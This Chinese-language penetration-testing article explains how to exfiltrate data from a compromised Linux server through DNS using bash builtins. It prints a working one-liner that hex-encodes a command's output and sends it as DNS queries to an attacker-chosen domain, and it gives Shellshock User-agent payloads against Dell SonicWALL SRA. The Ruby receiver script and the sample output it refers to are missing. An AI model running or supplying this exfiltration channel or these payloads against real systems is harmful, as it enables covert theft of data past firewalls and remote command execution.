如何在滲透測試中利用BASH和DNS下載數(shù)據(jù)
在滲透測試過程中,拿到服務器權限之后從服務器下載數(shù)據(jù)是一件比較費勁的事情,因為服務器一般都有防火墻在前面擋著。防火墻一般都會禁止服務器對外建立連接,這種情況下使用DNS來下載數(shù)據(jù)是一種行之有效的方法,因為防火墻一般不會禁止對外的DNS查詢,本文中作者將根據(jù)一個具體的實例來講解這個方法。
原理簡述
其實已經(jīng)有一些方法可以搞定這件事情,來將服務器上的數(shù)據(jù)拖出來,但是存在的問題是,這些既有的方法都需要借助一些Linux上的軟件,而有時候并不是所有環(huán)境中都裝了這些軟件。比如我常用A軟件來拖數(shù)據(jù),但是如果遇到一臺服務器上沒有這軟件,就白瞎了。所以,本文中使用BASH本身的功能來達到這一目的——通用、好用。
下面的代碼就是 POC:
LINE=`id`; domain="yourdomain.com";while read -r -n 1 char;
do var+=$(printf "%X" \'$char\');done<<<$LINE;b=0;e=60;l=${#var};
while [ $b -lt $l ];do >& /dev/udp/$RANDOM.$b."${var:$b:$e}".
$domain/53 0>&1;let b=b+60;done;>& /dev/udp/$RANDOM.theend.$domain/53
0>&1;unset var;unset var2
將上面的 domain 改為你自己的 DNS 服務器地址,LINE 是要執(zhí)行的系統(tǒng)命令,比如上例中是查看當前id,domain指向你自己的server 地址,用來接受數(shù)據(jù)。在你自己的 server 上運行下面這段 ruby 腳本:
這段腳本用來獲取數(shù)據(jù),比如執(zhí)行下面這段腳本:
在自己的機器上接受到的數(shù)據(jù)如下:
顯然這是一個行之有效的方法,但是,如果你遇到什么問題,可以直接找[原博]跟作者交流。
一個實際案例
之前我發(fā)現(xiàn)Dell SonicWALL Secure Remote Access (SRA)系列軟件有Shellshock漏洞,當在http header中攜帶下面這樣的ua ,server返回的是200 :
User-agent: () { :; }; /bin/ls
但是如果提交包含如下User-agent的請求,server端返回 500 錯誤:
User-agent: () { :; }; /bin/fake
當然也可以用下面的User-agent的請求確定,這套軟件確實有漏洞:
User-agent: () { :; }; /bin/sleep 60
現(xiàn)在問題來了,在這種情況下,我只能執(zhí)行命令,卻無法得到回顯,我嘗試了所有對外的鏈接,都被 server 禁止了,只有 DNS 可以用,可以用 telnet 來發(fā)起 DNS 請求。在這種情況下,上面我給出的 POC 就變得很有用了,并且非常隱蔽。
其他
目前Dell已經(jīng)修復了這個漏洞,相關信息見:
https://support.software.dell.com/product-notification/133206?productName=SonicWALL%20SRA%20Series
參考信息來源:https://forsec.nl/2015/01/bash-data-exfiltration-through-dns-using-bash-builtin-functions/